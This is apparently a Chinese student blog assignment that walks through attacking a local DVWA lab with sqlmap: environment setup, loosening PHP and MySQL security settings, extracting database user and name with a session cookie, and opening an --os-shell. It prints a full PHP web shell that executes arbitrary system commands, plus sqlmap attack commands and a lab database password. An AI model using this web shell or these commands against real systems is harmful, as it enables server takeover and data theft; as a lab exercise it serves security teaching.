作业3:使用 sqlmap 获取数据库信息

作业三


1. 环境准备

  1. 在安装好 Python 的环境下运行以下命令安装 sqlmap:
pip install sqlmap
  1. 安装 Python3 中用于连接 MySQL 服务器的一个库:
pip install pymysql
  1. sqlmap 直连数据库测试:
sqlmap -d mysql://root:cugjsj123@localhost:3306/login -f --banner
  1. 参数解释如下:

    • -d:直连数据库,后面跟着连接信息。mysql://用户名:密码@主机名:端口/数据库
    • -f:打印 DBMS 信息
    • --banner:打印 banner 信息,准确的版本号
  2. 如果成功访问,获取的信息如下:

[16:13:01] [INFO] connection to MySQL server 'localhost:3306' established
[16:13:01] [INFO] testing MySQL
[16:13:01] [INFO] resumed: [['1']]...
[16:13:01] [INFO] confirming MySQL
[16:13:01] [INFO] resumed: [['1']]...
[16:13:01] [INFO] the back-end DBMS is MySQL
[16:13:01] [INFO] fetching banner
[16:13:01] [INFO] resumed: [['5.7.19-log']]...
[16:13:01] [INFO] actively fingerprinting MySQL
[16:13:01] [INFO] resumed: [['1']]...
[16:13:01] [INFO] executing MySQL comment injection fingerprint
back-end DBMS: active fingerprint: MySQL >= 5.7
               comment injection fingerprint: MySQL 5.7.19
               banner parsing fingerprint: MySQL 5.7.19, logging enabled
banner: '5.7.19-log'
[16:13:01] [INFO] connection to MySQL server 'localhost:3306' closed

[*] ending @ 16:13:01 /2021-04-22/
  1. SQLmap语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

    sqlmap常用参数:

    1. -u : 指定目标URL,sql注入点
    2. –cookie:当前会话的cookie值
    3. -b:获取数据库类型 检索数据库管理系统的标识
      (DBMS:Database Management System 数据库管理系统)
    4. –current-db:获取当前数据库
    5. –current-user:获取当前登录数据库使用的用户
  2. 遇到 PHP 函数 allow_url_include:已禁用 的问题。

    1. 修改 DVMA 项目下的配置文件:php.ini。文件路径为:D:\Dev\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini。修改内容为:
    allow_url_fopen = On
    allow_url_include = On
    
    1. 修改 DVMA 项目下的配置文件:config.inc.php。文件路径为:D:\Dev\phpStudy\PHPTutorial\WWW\DVWA-master\config\config.inc.php。修改内容为:
    $_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
    $_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
    
    1. 通过phpStudy 2018 可知当前使用的 php 版本为 PHP-5.4.45,然后修改对应的 pip.ini 文件。文件路径为:D:\Dev\phpStudy\PHPTutorial\php\php-5.4.45\php.iniD:\Dev\phpStudy\PHPTutorial\php\php-5.4.45-nts\php.ini。两个文件修改内容均为:
    allow_url_include=On
    
    1. 参考文章:DVWA设置PHP函数allow_url_include:已禁用
  3. 修改 MySQL 数据库的 secure_file_priv的问题。

    1. 找到配置文件路径 C:\ProgramData\MySQL\MySQL Server 5.7\my.ini,设置为 secure-file-priv=
    2. 重启 MySQL 数据库(在管理员模式下):
    net stop mysql57
    net start mysql57
    
  4. –os-shell 注入不能成功的错误处理的问题。

    这里主要涉及到文件读写权限的问题。修改如下:
    在这里插入图片描述

    参考文章:DVWA(linux下)利用sqlmap进行–os-shell注入不能成功的错误处理

2. 实践操作

2.1. 获取数据库用户名和数据库名称

使用 sqlmap 之前需要得到当前会话的 cookie 等信息,用来在渗透过程中维持连接状态。cookie 使用其复数形式成为 cookies,指某些网站为了识别用户的身份,进行 session 跟踪,而存储在用户本地终端上的数据,这些数据通常都是加密的。只要是登录过网站,就会在本地产生 cookie,主要用于身份识别,进行 session 跟踪。

2.1.1. 获取 Cookie 信息

  1. 登录 DVWA,输入用户名和密码,修改 DVWA 安全等级为 low。

  2. 进入“SQL Injection”部分,输入任意值提交。http://192.168.10.92/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#

  3. 可以看到我们提交的 22 值后返回的结果,此页面就是我们的目标页面。

  4. 然后通过浏览器的开发模式获取当前用户的 cookie 值,如下:

security=low;PHPSESSID=8v7i7p3u50qf6c34h32fnrc970

2.1.2. 获取数据库用户名和数据库名称

输入如下命令:

sqlmap -u "http://192.168.10.92/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie="security=low;PHPSESSID=8v7i7p3u50qf6c34h32fnrc970" -b --current-db --current-user

回车后中间会有几个选项,每项含义如下:

it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
  • 看起来后端 DBMS 是“mysql”。是否要跳过特定于其他DBMS的测试有效负载?
  • 已经识别出来mysql数据库,直接跳过,不在扫描其他类型的数据库,输入 Y
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
  • 对于其余的测试,是否要包括扩展提供的级别(1)和风险(1)值的“mysql”的所有测试?
  • 不需要其他测试,直接输入 n
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
  • get参数“id”易受攻击。你想继续测试其他人吗(如果有的话)?[y/N]
  • 输入 N

最后结果输出如下:

[17:18:57] [INFO] the back-end DBMS is MySQL
[17:18:57] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.1
banner: '5.7.19-log'
[17:18:57] [INFO] fetching current user
current user: 'mysql@%'
[17:18:57] [INFO] fetching current database
current database: 'dvwa'
[17:18:57] [INFO] fetched data logged to text files under 'C:\Users\Dnks\AppData\Local\sqlmap\output\192.168.10.92'

不难看到,当前数据库的用户名为 mysql,当前连接的数据库名称为 dvwa

2.2. 进入 os-shell

输入以下命令:

sqlmap -u "http://192.168.10.92/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low;PHPSESSID=8v7i7p3u50qf6c34h32fnrc970" --os-shell

网站的绝对路径:

D:/Dev/phpStudy/PHPTutorial/WWW/DVWA-master/hackable

然后进入 os-shell 交互式界面如下:
在这里插入图片描述
并且可以在 hackable 目录下多了两个文件:
在这里插入图片描述
对这两个文件进行访问,通过上传点进行木马文件的上传。
在这里插入图片描述
tmpbsfqd.php 可以看到就是一个标准的用于执行系统命令的后门脚本,可以执行 os-shell 命令,并将结果返回。

// tmpbzhga.php
<?php
$c = $_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$z = @ini_get('disable_functions');
if (!empty($z)) {
    $z = preg_replace('/[, ]+/', ',', $z);
    $z = explode(',', $z);
    $z = array_map('trim', $z);
} else {
    $z = array();
}
$c = $c . " 2>&1\n";
function f($n) {
    global $z;
    return is_callable($n) and !in_array($n, $z);
}
if (f('system')) {
    ob_start();
    system($c);
    $w = ob_get_contents();
    ob_end_clean();
} elseif (f('proc_open')) {
    $y = proc_open($c, array(
        array(
            pipe,
            r
        ) ,
        array(
            pipe,
            w
        ) ,
        array(
            pipe,
            w
        )
    ) , $t);
    $w = NULL;
    while (!feof($t[1])) {
        $w.= fread($t[1], 512);
    }
    @proc_close($y);
} elseif (f('shell_exec')) {
    $w = shell_exec($c);
} elseif (f('passthru')) {
    ob_start();
    passthru($c);
    $w = ob_get_contents();
    ob_end_clean();
} elseif (f('popen')) {
    $x = popen($c, r);
    $w = NULL;
    if (is_resource($x)) {
        while (!feof($x)) {
            $w.= fread($x, 512);
        }
    }
    @pclose($x);
} elseif (f('exec')) {
    $w = array();
    exec($c, $w);
    $w = join(chr(10) , $w) . chr(10);
} else {
    $w = 0;
}
print "<pre>" . $w . "</pre>"; ?>

访问并执行 dir 命令,如下:
在这里插入图片描述
原理就是用 into outfile 函数将一个可以用来上传的php 文件写到网站的根目录下,然后利用tmpumpoo.php 上传了一个 tmpbsfqd.php 的文件,tmpbsfqd.php 这个文件可以用来执行系统命令,并且将结果返回出来。

–os-shell 退出后会调用后门脚本删除上传文件后,进行自删除。
在这里插入图片描述

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值